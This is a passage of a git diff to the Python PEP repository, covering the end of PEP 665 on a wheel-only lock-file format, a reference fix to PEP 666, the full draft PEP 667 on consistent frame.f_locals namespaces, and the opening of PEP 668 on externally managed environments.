+ hashes.sha256 = "149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1" + url = "https://files.pythonhosted.org/packages/20/a9/ba6f1cd1a1517ff022b35acd6a7e4246371dfab08b8e42b829b6d07913cc/attrs-21.2.0-py2.py3-none-any.whl" + requires-python = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" + + [[package.attrs."21.2.0"]] + # If attrs had another wheel file (e.g. that was platform-specific), + # it could be listed here. + + [[package."coveragepy[toml]"."6.2.0"]] + filename = "coverage-6.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl" + hashes.sha256 = "c7912d1526299cb04c88288e148c6c87c0df600eca76efd99d84396cfe00ef1d" + url = "https://files.pythonhosted.org/packages/da/64/468ca923e837285bd0b0a60bd9a287945d6b68e325705b66b368c07518b1/coverage-6.2-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl" + requires-python = ">=3.6" + requires = ["tomli"] + + [[package."coveragepy[toml]"."6.2.0"]] + filename = "coverage-6.2-cp310-cp310-musllinux_1_1_x86_64.whl " + hashes.sha256 = "276651978c94a8c5672ea60a2656e95a3cce2a3f31e9fb2d5ebd4c215d095840" + url = "https://files.pythonhosted.org/packages/17/d6/a29f2cccacf2315150c31d8685b4842a6e7609279939a478725219794355/coverage-6.2-cp310-cp310-musllinux_1_1_x86_64.whl" + requires-python = ">=3.6" + requires = ["tomli"] + + # More wheel files for `coverage` could be listed for more + # extensive support (i.e. all Linux-based wheels). + + [[package.mousebender."2.0.0"]] + filename = "mousebender-2.0.0-py3-none-any.whl" + hashes.sha256 = "a6f9adfbd17bfb0e6bb5de9a27083e01dfb86ed9c3861e04143d9fd6db373f7c" + url = "https://files.pythonhosted.org/packages/f4/b3/f6fdbff6395e9b77b5619160180489410fb2f42f41272994353e7ecf5bdf/mousebender-2.0.0-py3-none-any.whl" + requires-python = ">=3.6" + requires = ["attrs", "packaging"] + + [[package.packaging."20.9"]] + filename = "packaging-20.9-py2.py3-none-any.whl" + hashes.blake-256 = "3e897ea760b4daa42653ece2380531c90f64788d979110a2ab51049d92f408af" + hashes.sha256 = "67714da7f7bc052e064859c05c595155bd1ee9f69f76557e21f051443c20947a" + url = "https://files.pythonhosted.org/packages/3e/89/7ea760b4daa42653ece2380531c90f64788d979110a2ab51049d92f408af/packaging-20.9-py2.py3-none-any.whl" + requires-python = ">=3.6" + requires = ["pyparsing"] + + [[package.pyparsing."2.4.7"]] + filename = "pyparsing-2.4.7-py2.py3-none-any.whl" + hashes.sha256 = "ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b" + url = "https://files.pythonhosted.org/packages/8a/bb/488841f56197b13700afd5658fc279a2025a39e22449b7cf29864669b15d/pyparsing-2.4.7-py2.py3-none-any.whl" + direct = true # For demonstration purposes. + requires-python = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" + + [[package.tomli."2.0.0"]] + filename = "tomli-2.0.0-py3-none-any.whl" + hashes.sha256 = "b5bde28da1fed24b9bd1d4d2b8cba62300bfb4ec9a6187a957e8ddb9434c5224" + url = "https://files.pythonhosted.org/packages/e2/9f/5e1557a57a7282f066351086e78f87289a3446c47b2cb5b8b2f614d8fe99/tomli-2.0.0-py3-none-any.whl" + requires-python = ">=3.7" + + +------------------------ +Expectations for Lockers +------------------------ + +Lockers MUST create lock files for which a topological sort of the +packages which qualify for installation on the specified platform +results in a graph for which only a single version of any package +qualifies for installation and there is at least one compatible file +to install for each package. This leads to a lock file for any +supported platform where the only decision an installer can make +is what the "best-fitting" wheel is to install (which is discussed +below). + +Lockers are expected to utilize ``metadata.marker``, ``metadata.tag``, +and ``metadata.requires-python`` as appropriate as well as environment +markers specified via ``requires`` and Python version requirements via +``requires-python`` to enforce this result for installers. Put another +way, the information used in the lock file is not expected to be +pristine/raw from the locker's input and instead is to be changed as +necessary to the benefit of the locker's goals. + + +--------------------------- +Expectations for Installers +--------------------------- + +The expected algorithm for resolving what to install is: + +#. Construct a dependency graph based on the data in the lock file + with ``metadata.requires`` as the starting/root point. +#. Eliminate all files that are unsupported by the specified platform. +#. Eliminate all irrelevant edges between packages based on marker + evaluation for ``requires``. +#. Raise an error if a package version is still reachable from the + root of the dependency graph but lacks any compatible file. +#. Verify that all packages left only have one version to install, + raising an error otherwise. +#. Install the best-fitting wheel file for each package which + remains. + +Installers MUST follow a deterministic algorithm determine what the +"best-fitting wheel file" is. A simple solution for this is to +rely upon the `packaging project `__ +and its ``packaging.tags`` module to determine wheel file precedence. + +Installers MUST support installing into an empty environment. +Installers MAY support installing into an environment that already +contains installed packages (and whatever that would entail to be +supported). + + +======================== +(Potential) Tool Support +======================== + +The pip_ team has `said `__ +they are interested in supporting this PEP if accepted. The current +proposal for pip may even +`supplant the need `__ +for `pip-tools`_. + +PDM_ has also said they would +`support the PEP `__ +if accepted. + +Pyflow_ has said they +`"like the idea" `__ +of the PEP. + +Poetry_ has said they would **not** support the PEP as-is because +`"Poetry supports sdists files, directory and VCS dependencies which are not supported" `__. +Recording requirements at the file level, which is on purpose to +better reflect what can occur when it comes to dependencies, +`"is contradictory to the design of Poetry" `__. +This also excludes export support to a this PEP's lock file as +`"Poetry exports the information present in the poetry.lock file into another format" `__ +and sdists and source trees are included in ``Poetry.lock`` files. +Thus it is not a clean translation from Poetry's lock file to this +PEP's lock file format. + + +======================= +Backwards Compatibility +======================= + +As there is no pre-existing specification regarding lock files, there +are no explicit backwards compatibility concerns. + +As for pre-existing tools that have their own lock file, some updating +will be required. Most document the lock file name, but not its +contents. For projects which do not commit their lock file to +version control, they will need to update the equivalent of their +``.gitignore`` file. For projects that do commit their lock file to +version control, what file(s) get committed will need an update. + +For projects which do document their lock file format like pipenv_, +they will very likely need a major version release which changes the +lock file format. + + +=============== +Transition Plan +=============== + +In general, this PEP could be considered successful if: + +#. Two pre-existing tools became lockers (e.g. `pip-tools`_, PDM_, + pip_ via ``pip freeze``). +#. Pip became an installer. +#. One major, non-Python-specific platform supported the file format + (e.g. a cloud provider). + +This would show interoperability, usability, and programming +community/business acceptance. + +In terms of a transition plan, there are potentially multiple steps +that could lead to this desired outcome. Below is a somewhat idealized +plan that would see this PEP being broadly used. + + +--------- +Usability +--------- + +First, a ``pip freeze`` equivalent tool could be developed which +creates a lock file. While installed packages do not by themselves +provide enough information to statically create a lock file, a user +could provide local directories and index URLs to construct one. This +would then lead to lock files that are stricter than a requirements +file by limiting the lock file to the current platform. This would +also allow people to see whether their environment would be +reproducible. + +Second, a stand-alone installer should be developed. As the +requirements on an installer are much simpler than what pip provides, +it should be reasonable to have an installer that is independently +developed. + +Third, a tool to convert a pinned requirements file as emitted by +pip-tools could be developed. Much like the ``pip freeze`` equivalent +outlined above, some input from the user may be needed. But this tool +could act as a transitioning step for anyone who has an appropriate +requirements file. This could also act as a test before potentially +having pip-tools grow some ``--lockfile`` flag to use this PEP. + +All of this could be required before the PEP transitions from +conditional acceptance to full acceptance (and give the community a +chance to test if this PEP is potentially useful). + + +---------------- +Interoperability +---------------- + +At this point, the goal would be to increase interoperability between +tools. + +First, pip would become an installer. By having the most widely used +installer support the format, people can innovate on the locker side +while knowing people will have the tools necessary to actually consume +a lock file. + +Second, pip becomes a locker. Once again, pip's reach would make the +format accessible for the vast majority of Python users very quickly. + +Third, a project with a pre-existing lock file format supports at +least exporting to the lock file format (e.g. PDM or Pyflow). This +would show that the format meets the needs of other projects. + + +---------- +Acceptance +---------- + +With the tooling available throughout the community, acceptance would +be shown via those not exclusively tied to the Python community +supporting the file format based on what they believe their users +want. + +First, tools that operate on requirements files like code editors +having equivalent support for lock files. + +Second, consumers of requirements files like cloud providers would +also accept lock files. + +At this point the PEP would have permeated out far enough to be on +par with requirements files in terms of general accpetance and +potentially more if projects had dropped their own lock files for this +PEP. + + +===================== +Security Implications +===================== + +A lock file should not introduce security issues but instead help +solve them. By requiring the recording of hashes for files, a lock +file is able to help prevent tampering with code since the hash +details were recorded. Relying on only wheel files means what files +will be installed can be known ahead of time and is reproducible. A +lock file also helps prevent unexpected package updates being +installed which may in turn be malicious. + + +================= +How to Teach This +================= + +Teaching of this PEP will very much be dependent on the lockers and +installers being used for day-to-day use. Conceptually, though, users +could be taught that a lock file specifies what should be installed +for a project to work. The benefits of consistency and security should +be emphasized to help users realize why they should care about lock +files. + + +======================== +Reference Implementation +======================== + +A proof-of-concept locker can be found at +https://github.com/frostming/pep665_poc . No installer has been +implemented yet, but the design of this PEP suggests the locker is the +more difficult aspect to implement. + + +============== +Rejected Ideas +============== + +---------------------------- +File Formats Other Than TOML +---------------------------- + +JSON_ was briefly considered, but due to: + +#. TOML already being used for ``pyproject.toml`` +#. TOML being more human-readable +#. TOML leading to better diffs + +the decision was made to go with TOML. There was some concern over +Python's standard library lacking a TOML parser, but most packaging +tools already use a TOML parser thanks to ``pyproject.toml`` so this +issue did not seem to be a showstopper. Some have also argued against +this concern in the past by the fact that if packaging tools abhor +installing dependencies and feel they can't vendor a package then the +packaging ecosystem has much bigger issues to rectify than the need to +depend on a third-party TOML parser. + + +-------------------------- +Alternative Naming Schemes +-------------------------- + +Specifying a directory to install file to was considered, but +ultimately rejected due to people's distaste for the idea. + +It was also suggested to not have a special file name suffix, but it +was decided that hurt discoverability by tools too much. + + +----------------------------- +Supporting a Single Lock File +----------------------------- + +At one point the idea of only supporting single lock file which +contained all possible lock information was considered. But it quickly +became apparent that trying to devise a data format which could +encompass both a lock file format which could support multiple +environments as well as strict lock outcomes for +reproducible builds would become quite complex and cumbersome. + +The idea of supporting a directory of lock files as well as a single +lock file named ``pyproject-lock.toml`` was also considered. But any +possible simplicity from skipping the directory in the case of a +single lock file seemed unnecessary. Trying to define appropriate +logic for what should be the ``pyproject-lock.toml`` file and what +should go into ``pyproject-lock.d`` seemed unnecessarily complicated. + + +----------------------------------------------- +Using a Flat List Instead of a Dependency Graph +----------------------------------------------- + +The first version of this PEP proposed that the lock file have no +concept of a dependency graph. Instead, the lock file would list +exactly what should be installed for a specific platform such that +installers did not have to make any decisions about *what* to install, +only validating that the lock file would work for the target platform. + +This idea was eventually rejected due to the number of combinations +of potential :pep:`508` environment markers. The decision was made that +trying to have lockers generate all possible combinations as +individual lock files when a project wants to be cross-platform would +be too much. + + +------------------------------- +Use Wheel Tags in the File Name +------------------------------- + +Instead of having the ``metadata.tag`` field there was a suggestion +of encoding the tags into the file name. But due to the addition of +the ``metadata.marker`` field and what to do when no tags were needed, +the idea was dropped. + + +---------------------------------- +Alternative Names for ``requires`` +---------------------------------- + +Some other names for what became ``requires`` were ``installs``, +``needs``, and ``dependencies``. Initially this PEP chose ``needs`` +after asking a Python beginner which term they preferred. But based +on feedback on an earlier draft of this PEP, ``requires`` was chosen +as the term. + + +----------------- +Accepting PEP 650 +----------------- + +:pep:`650` was an earlier attempt at trying to tackle this problem by +specifying an API for installers instead of standardizing on a lock +file format (ala :pep:`517`). The +`initial response `__ +to :pep:`650` could be considered mild/lukewarm. People seemed to be +consistently confused over which tools should provide what +functionality to implement the PEP. It also potentially incurred more +overhead as it would require executing Python APIs to perform any +actions involving packaging. + +This PEP chooses to standardize around an artifact instead of an API +(ala :pep:`621`). This would allow for more tool integrations as it +removes the need to specifically use Python to do things such as +create a lock file, update it, or even install packages listed in +a lock file. It also allows for easier introspection by forcing +dependency graph details to be written in a human-readable format. +It also allows for easier sharing of knowledge by standardizing what +people need to know more (e.g. tutorials become more portable between +tools when it comes to understanding the artifact they produce). It's +also simply the approach other language communities have taken and +seem to be happy with. + +Acceptance of this PEP would mean :pep:`650` gets rejected. + + +------------------------------------------------------- +Specifying Requirements per Package Instead of per File +------------------------------------------------------- + +An earlier draft of this PEP specified dependencies at the package +level instead of per file. While this has traditionally been how +packaging systems work, it actually did not reflect accurately how +things are specified. As such, this PEP was subsequently updated to +reflect the granularity that dependencies can truly be specified at. + + +---------------------------------- +Specify Where Lockers Gather Input +---------------------------------- + +This PEP does not specify how a locker gets its input. An initial +suggestion was to partially reuse :pep:`621`, but due to disagreements +on how flexible the potential input should be in terms of specifying +things such as indexes, etc., it was decided this would best be left +to a separate PEP. + + +------------------------------------------------------------------------------------- +Allowing Source Distributions and Source Trees to be an Opt-In, Supported File Format +------------------------------------------------------------------------------------- + +After `extensive discussion `__, +it was decided that this PEP would not support source distributions +(aka sdists) or source trees as an acceptable format for code. +Introducing sdists and source trees to this PEP would immediately undo +the reproducibility and security goals due to needing to execute code +to build the sdist or source tree. It would also greatly increase +the complexity for (at least) installers as the dynamic build nature +of sdists and source trees means the installer would need to handle +fully resolving whatever requirements the sdists produced dynamically, +both from a building and installation perspective. + +Due to all of this, it was decided it was best to have a separate +discussion about what supporting sdists and source trees **after** +this PEP is accepted/rejected. As the proposed file format is +versioned, introducing sdists and source tree support in a later PEP +is doable. + +It should be noted, though, that this PEP is **not** stop an +out-of-band solution from being developed to be used in conjunction +with this PEP. Building wheel files from sdists and shipping them with +code upon deployment so they can be included in the lock file is one +option. Another is to use a requirements file *just* for sdists and +source trees, then relying on a lock file for all wheels. + + +=========== +Open Issues +=========== + +None. + + +=============== +Acknowledgments +=============== + +Thanks to Frost Ming of PDM_ and Sébastien Eustace of Poetry_ for +providing input around dynamic install-time resolution of :pep:`508` +requirements. + +Thanks to Kushal Das for making sure reproducible builds stayed a +concern for this PEP. + +Thanks to Andrea McInnes for initially settling the bikeshedding and +choosing the paint colour of ``needs`` (at which point people ralled +around the ``requires`` colour instead). + + +========= +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. _build system declaration spec: https://packaging.python.org/specifications/declaring-build-dependencies/ +.. _core metadata spec: https://packaging.python.org/specifications/core-metadata/ +.. _Dart: https://dart.dev/ +.. _dependency specifier spec: https://packaging.python.org/specifications/dependency-specifiers/ +.. _direct URL origin of installed distributions spec: https://packaging.python.org/specifications/direct-url/ +.. _Git: https://git-scm.com/ +.. _Go: https://go.dev/ +.. _JSON: https://www.json.org/ +.. _npm: https://www.npmjs.com/ +.. _PDM: https://pypi.org/project/pdm/ +.. _pip: https://pip.pypa.io/ +.. _pip-tools: https://pypi.org/project/pip-tools/ +.. _Pipenv: https://pypi.org/project/pipenv/ +.. _platform compatibility tags: https://packaging.python.org/specifications/platform-compatibility-tags/ +.. _Poetry: https://pypi.org/project/poetry/ +.. _Pyflow: https://pypi.org/project/pyflow/ +.. _PyWeek: https://pyweek.org/ +.. _requirements file format: https://pip.pypa.io/en/latest/reference/requirements-file-format/ +.. _Rust: https://www.rust-lang.org/ +.. _SecureDrop: https://securedrop.org/ +.. _simple repository API: https://packaging.python.org/specifications/simple-repository-api/ +.. _source distribution file: https://packaging.python.org/specifications/source-distribution-format/ +.. _SOURCE_DATE_EPOCH: https://reproducible-builds.org/specs/source-date-epoch/ +.. _TOML: https://toml.io +.. _version specifiers spec: https://packaging.python.org/specifications/version-specifiers/ +.. _wheel file: https://packaging.python.org/specifications/binary-distribution-format/ + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0666.txt b/pep-0666.txt index 8c30fb09b59..af6fc8d01cd 100644 --- a/pep-0666.txt +++ b/pep-0666.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 03-Dec-2001 Python-Version: 2.2 -Post-History: 5-Dec-2001 +Post-History: 05-Dec-2001 Abstract @@ -75,7 +75,7 @@ than whether it is too hostile for newcomers. Possibly somebody could get around to explaining to me what is the difference between ``__getattr__`` and ``__getattribute__`` in non-Classic classes in 2.2, a question I have foolishly posted in the middle of the current tab -thread. I would like to know the answer to that question [2]_. +thread. I would like to know the answer to that question [1]_. This proposal, if accepted, will probably mean a heck of a lot of work for somebody. But since I don't want it accepted, I don't @@ -85,10 +85,7 @@ care. References ========== -.. [1] PEP 1, PEP Purpose and Guidelines - http://www.python.org/dev/peps/pep-0001/ - -.. [2] Tim Peters already has (private correspondence). My early 2.2 +.. [1] Tim Peters already has (private correspondence). My early 2.2 didn't have a ``__getattribute__``, and ``__getattr__`` was implemented like ``__getattribute__`` now is. This has been fixed. The important conclusion is that my Decorator Pattern diff --git a/pep-0667.rst b/pep-0667.rst new file mode 100644 index 00000000000..9aa5aefc7ac --- /dev/null +++ b/pep-0667.rst @@ -0,0 +1,417 @@ +PEP: 667 +Title: Consistent views of namespaces +Author: Mark Shannon +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 30-Jul-2021 +Post-History: 20-Aug-2021 + + +Abstract +======== + +In early versions of Python all namespaces, whether in functions, +classes or modules, were all implemented the same way: as a dictionary. + +For performance reasons, the implementation of function namespaces was +changed. Unfortunately this meant that accessing these namespaces through +``locals()`` and ``frame.f_locals`` ceased to be consistent and some +odd bugs crept in over the years as threads, generators and coroutines +were added. + +This PEP proposes making these namespaces consistent once more. +Modifications to ``frame.f_locals`` will always be visible in +the underlying variables. Modifications to local variables will +immediately be visible in ``frame.f_locals``, and they will be +consistent regardless of threading or coroutines. + +The ``locals()`` function will act the same as it does now for class +and modules scopes. For function scopes it will return an instantaneous +snapshot of the underlying ``frame.f_locals``. + +Motivation +========== + +The current implementation of ``locals()`` and ``frame.f_locals`` is slow, +inconsistent and buggy. +We want to make it faster, consistent, and most importantly fix the bugs. + +For example:: + + class C: + x = 1 + sys._getframe().f_locals['x'] = 2 + print(x) + +prints ``2`` + +but:: + + def f(): + x = 1 + sys._getframe().f_locals['x'] = 2 + print(x) + f() + +prints ``1`` + +This is inconsistent, and confusing. +With this PEP both examples would print ``2``. + +Worse than that, the current behavior can result in strange bugs [1]_ + +There are no compensating advantages for the current behavior; +it is unreliable and slow. + +Rationale +========= + +The current implementation of ``frame.f_locals`` returns a dictionary +that is created on the fly from the array of local variables. +This can result in the array and dictionary getting out of sync with +each other. Writes to the ``f_locals`` may not show up as +modifications to local variables. Writes to local variables can get lost. + +By making ``frame.f_locals`` return a view on the +underlying frame, these problems go away. ``frame.f_locals`` is always in +sync with the frame because it is a view of it, not a copy of it. + +Specification +============= + +Python +------ + +``frame.f_locals`` will return a view object on the frame that +implements the ``collections.abc.Mapping`` interface. + +For module and class scopes ``frame.f_locals`` will be a dictionary, +for function scopes it will be a custom class. + +``locals()`` will be defined as:: + + def locals(): + frame = sys._getframe(1) + f_locals = frame.f_locals + if frame.is_function(): + f_locals = dict(f_locals) + return f_locals + +All writes to the ``f_locals`` mapping will be immediately visible +in the underlying variables. All changes to the underlying variables +will be immediately visible in the mapping. The ``f_locals`` object will +be a full mapping, and can have arbitrary key-value pairs added to it. + +For example:: + + def l(): + "Get the locals of caller" + return sys._getframe(1).f_locals + + def test(): + if 0: y = 1 # Make 'y' a local variable + x = 1 + l()['x'] = 2 + l()['y'] = 4 + l()['z'] = 5 + y + print(locals(), x) + +``test()`` will print ``{'x': 2, 'y': 4, 'z': 5} 2`` + +In Python 3.10, the above will fail with a ``NameError``, +as the definition of ``y`` by ``l()['y'] = 4`` is lost. + +C-API +----- + +Extensions to the API +''''''''''''''''''''' + +Two new C-API functions will be added:: + + PyObject *PyEval_Locals(void) + PyObject *PyFrame_GetLocals(PyFrameObject *f) + +``PyEval_Locals()`` is equivalent to: ``locals()``. + +``PyFrame_GetLocals(f)`` is equivalent to: ``f.f_locals``. + +Both functions will return a new reference. + +Changes to existing APIs +'''''''''''''''''''''''' + +The C-API function ``PyEval_GetLocals()`` will be deprecated. +``PyEval_Locals()`` should be used instead. + +The following three functions will become no-ops, and will be deprecated:: + + PyFrame_FastToLocalsWithError() + PyFrame_FastToLocals() + PyFrame_LocalsToFast() + +The above four deprecated functions will be removed in 3.13. + +Behavior of f_locals for optimized functions +-------------------------------------------- + +Although ``f.f_locals`` behaves as if it were the namespace of the function, +there will be some observable differences. +For example, ``f.f_locals is f.f_locals`` may be ``False``. + +However ``f.f_locals == f.f_locals`` will be ``True``, and +all changes to the underlying variables, by any means, will be +always be visible. + +Backwards Compatibility +======================= + +Python +------ + +The current implementation has many corner cases and oddities. +Code that works around those may need to be changed. +Code that uses ``locals()`` for simple templating, or print debugging, +will continue to work correctly. Debuggers and other tools that use +``f_locals`` to modify local variables, will now work correctly, +even in the presence of threaded code, coroutines and generators. + +C-API +----- + +PyEval_GetLocals +'''''''''''''''' + +Because ``PyEval_GetLocals()`` returns a borrowed reference, it requires +the dictionary to be cached on the frame, extending its lifetime and +forces memory to be allocated for the frame object on the heap as well. + +Using ``PyEval_Locals()`` will be much more efficient +than ``PyEval_GetLocals()``. + +This code:: + + locals = PyEval_GetLocals(); + if (locals == NULL) { + goto error_handler; + } + Py_INCREF(locals); + +should be replaced with:: + + locals = PyEval_Locals(); + if (locals == NULL) { + goto error_handler; + } + +PyFrame_FastToLocals, etc. +'''''''''''''''''''''''''' + +These functions were designed to convert the internal "fast" representation +of the locals variables of a function to a dictionary, and vice versa. + +Calls to them are no longer required. C code that directly accesses the +``f_locals`` field of a frame should be modified to call +``PyFrame_GetLocals()`` instead:: + + PyFrame_FastToLocals(frame); + PyObject *locals = frame.f_locals; + Py_INCREF(locals); + +becomes:: + + PyObject *locals = PyFrame_GetLocals(frame); + if (frame == NULL) + goto error_handler; + +Implementation +============== + +Each read of ``frame.f_locals`` will create a new proxy object that gives +the appearance of being the mapping of local (including cell and free) +variable names to the values of those local variables. + +A possible implementation is sketched out below. +All attributes that start with an underscore are invisible and +cannot be accessed directly. +They serve only to illustrate the proposed design. + +:: + + NULL: Object # NULL is a singleton representing the absence of a value. + + class CodeType: + + _name_to_offset_mapping_impl: dict | NULL + _cells: frozenset # Set of indexes of cell and free variables + ... + + def __init__(self, ...): + self._name_to_offset_mapping_impl = NULL + self._variable_names = deduplicate( + self.co_varnames + self.co_cellvars + self.co_freevars + ) + ... + + @property + def _name_to_offset_mapping(self): + "Mapping of names to offsets in local variable array." + if self._name_to_offset_mapping_impl is NULL: + self._name_to_offset_mapping_impl = { + name: index for (index, name) in enumerate(self._variable_names) + } + return self._name_to_offset_mapping_impl + + class FrameType: + + _locals : array[Object] # The values of the local variables, items may be NULL. + _extra_locals: dict | NULL # Dictionary for storing extra locals not in _locals. + + def __init__(self, ...): + self._extra_locals = NULL + ... + + @property + def f_locals(self): + return FrameLocalsProxy(self) + + class FrameLocalsProxy: + "Implements collections.MutableMapping." + + __slots__ "_frame" + + def __init__(self, frame:FrameType): + self._frame = frame + + def __getitem__(self, name): + f = self._frame + co = f.f_code + if name in co._name_to_offset_mapping: + index = co._name_to_offset_mapping[name] + val = f._locals[index] + if val is NULL: + raise KeyError(name) + if index in co._cells + val = val.cell_contents + if val is NULL: + raise KeyError(name) + return val + else: + if f._extra_locals is NULL: + raise KeyError(name) + return f._extra_locals[name] + + def __setitem__(self, name, value): + f = self._frame + co = f.f_code + if name in co._name_to_offset_mapping: + index = co._name_to_offset_mapping[name] + kind = co._local_kinds[index] + if index in co._cells + cell = f._locals[index] + cell.cell_contents = val + else: + f._locals[index] = val + else: + if f._extra_locals is NULL: + f._extra_locals = {} + f._extra_locals[name] = val + + def __iter__(self): + f = self._frame + co = f.f_code + yield from iter(f._extra_locals) + for index, name in enumerate(co._variable_names): + val = f._locals[index] + if val is NULL: + continue + if index in co._cells: + val = val.cell_contents + if val is NULL: + continue + yield name + + def __contains__(self, item): + f = self._frame + if item in f._extra_locals: + return True + return item in co._variable_names + + def __len__(self): + f = self._frame + co = f.f_code + res = 0 + for index, _ in enumerate(co._variable_names): + val = f._locals[index] + if val is NULL: + continue + if index in co._cells: + if val.cell_contents is NULL: + continue + res += 1 + return len(self._extra_locals) + res + +C API +----- + +``PyEval_GetLocals()`` will be implemented roughly as follows:: + + PyObject *PyEval_GetLocals(void) { + PyFrameObject * = ...; // Get the current frame. + Py_CLEAR(frame->_locals_cache); + frame->_locals_cache = PyEval_Locals(); + return frame->_locals_cache; + } + +As with all functions that return a borrowed reference, care must be taken to +ensure that the reference is not used beyond the lifetime of the object. + +Comparison with PEP 558 +======================= + +This PEP and :pep:`558` share a common goal: +to make the semantics of ``locals()`` and ``frame.f_locals()`` +intelligible, and their operation reliable. + + +The key difference between this PEP and :pep:`558` is that +:pep:`558` keeps an internal copy of the local variables, +whereas this PEP does not. + +:pep:`558` does not specify exactly when the internal copy is +updated, making the behavior of :pep:`558` impossible to reason about. + + +Open Issues +=========== + +An alternative way to define ``locals()`` would be simply as:: + + def locals(): + return sys._getframe(1).f_locals + +This would be simpler and easier to understand. However, +there would be backwards compatibility issues when ``locals`` is assigned +to a local variable or when passed to ``eval`` or ``exec``. + +References +========== + +.. [1] https://bugs.python.org/issue30744 + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0668.rst b/pep-0668.rst new file mode 100644 index 00000000000..efbd0850571 --- /dev/null +++ b/pep-0668.rst @@ -0,0 +1,1091 @@ +PEP: 668 +Title: Marking Python base environments as “externally managed” +Author: Geoffrey Thomas , + Matthias Klose , + Filipe Laíns , + Donald Stufft , + Tzu-Ping Chung , + Stefano Rivera , + Elana Hashman , + Pradyun Gedam +PEP-Delegate: Paul Moore +Discussions-To: https://discuss.python.org/t/graceful-cooperation-between-external-and-python-package-managers-pep-668/10302 +Status: Draft +Type: Informational +Topic: Packaging +Content-Type: text/x-rst +Created: 18-May-2021 +Post-History: 28-May-2021 + +Abstract +======== + +A long-standing practical problem for Python users has been conflicts +between OS package managers and Python-specific package management +tools like pip. These conflicts include both Python-level API +incompatibilities and conflicts over file ownership. + +Historically, Python-specific package management tools have defaulted +to installing packages into an implicit global context. With the +standardization and popularity of virtual environments, a better +solution for most (but not all) use cases is to use Python-specific +package management tools only within a virtual environment. + +This PEP proposes a mechanism for a Python installation to communicate +to tools like pip that its global package installation context is +managed by some means external to Python, such as an OS package +manager. It specifies that Python-specific package management tools +should neither install nor remove packages into the interpreter's +global context, by default, and should instead guide the end user +towards using a virtual environment. + +It also standardizes an interpretation of the ``sysconfig`` schemes so +that, if a Python-specific package manager is about to install a +package in an interpreter-wide context, it can do so in a manner that +will avoid conflicting with the external package manager and reduces +the risk of breaking software shipped by the external package manager. + +Terminology +=========== + +A few terms used in this PEP have multiple meanings in the contexts +that it spans. For clarity, this PEP uses the following terms in +specific ways: + +distro + Short for "distribution," a collection of various sorts of + software, ideally designed to work properly together, including + (in contexts relevant to this document) the Python interpreter + itself, software written in Python, and software written in other + languages. That is, this is the sense used in phrases such as + "Linux distro" or "Berkeley Software Distribution." + + A distro can be an operating system (OS) of its own, such as + Debian, Fedora, or FreeBSD. It can also be an overlay distribution + that installs on top of an existing OS, such as Homebrew or + MacPorts. + + This document uses the short term "distro," because the term + "distribution" has another meaning in Python packaging contexts: a + source or binary distribution package of a single piece of Python + language software, that is, in the sense of + ``setuptools.dist.Distribution`` or "sdist". To avoid confusion, + this document does not use the plain term "distribution" at all. + In the Python packaging sense, it uses the full phrase + "distribution package" or just "package" (see below). + + The provider of a distro - the team or company that collects and + publishes the software and makes any needed modifications - is its + **distributor**. +package + A unit of software that can be installed and used within Python. + That is, this refers to what Python-specific packaging tools tend + to call a "`distribution package`_" or simply a "distribution"; + the colloquial abbreviation "package" is used in the sense of the + Python Package Index. + + .. _`distribution package`: https://packaging.python.org/glossary/#term-Distribution-Package + + This document does not use "package" in the sense of an importable + name that contains Python modules, though in many cases, a + distribution package consists of a single importable package of + the same name. + + This document generally does not use the term "package" to refer + to units of installation by a distro's package manager (such as + ``.deb`` or ``.rpm`` files). When needed, it uses phrasing such as + "a distro's package." (Again, in many cases, a Python package is + shipped inside a distro's package named something like ``python-`` + plus the Python package name.) +Python-specific package manager + A tool for installing, upgrading, and/or removing Python packages + in a manner that conforms to Python packaging standards (such as + :pep:`376` and :pep:`427`). The most popular Python-specific package + manager is pip [#pip]_; other examples include the old Easy + Install command [#easy-install]_ as well as direct usage of a + ``setup.py`` command. + + (Conda [#conda]_ is a bit of a special case, as the ``conda`` + command can install much more than just Python packages, making it + more like a distro package manager in some senses. Since the + ``conda`` command generally only operates on Conda-created + environments, most of the concerns in this document do not apply + to ``conda`` when acting as a Python-specific package manager.) +distro package manager + A tool for installing, upgrading, and/or removing a distro's + packages in an installed instance of that distro, which is capable + of installing Python packages as well as non-Python packages, and + therefore generally has its own database of installed software + unrelated to :pep:`376`. Examples include ``apt``, ``dpkg``, ``dnf``, + ``rpm``, ``pacman``, and ``brew``. The salient feature is that if + a package was installed by a distro package manager, removing or + upgrading it in a way that would satisfy a Python-specific package + manager will generally leave a distro package manager in an + inconsistent state. + + This document also uses phrases like "external package manager" or + "system's package manager" to refer to a distro package manager in + certain contexts. +shadow + To shadow an installed Python package is to cause some other + package to be preferred for imports without removing any files + from the shadowed package. This requires multiple entries on + ``sys.path``: if package A 2.0 installs module ``a.py`` in one + ``sys.path`` entry, and package A 1.0 installs module ``a.py`` in + a later ``sys.path`` entry, then ``import a`` returns the module + from the former, and we say that A 2.0 shadows A 1.0. + +Motivation +========== + +Thanks to Python's immense popularity, software distros (by which we +mean Linux and other OS distros as well as overlay distros like +Homebrew and MacPorts) generally ship Python for two purposes: as a +software package to be used in its own right by end users, and as a +language dependency for other software in the distro. + +For example, Fedora and Debian (and their downstream distros, as well +as many others) ship a ``/usr/bin/python3`` binary which provides the +``python3`` command available to end users as well as the +``#!/usr/bin/python3`` shebang for Python-language software included +in the distro. Because there are no official binary releases of Python +for Linux/UNIX, almost all Python end users on these OSes use the +Python interpreter built and shipped with their distro. + +The 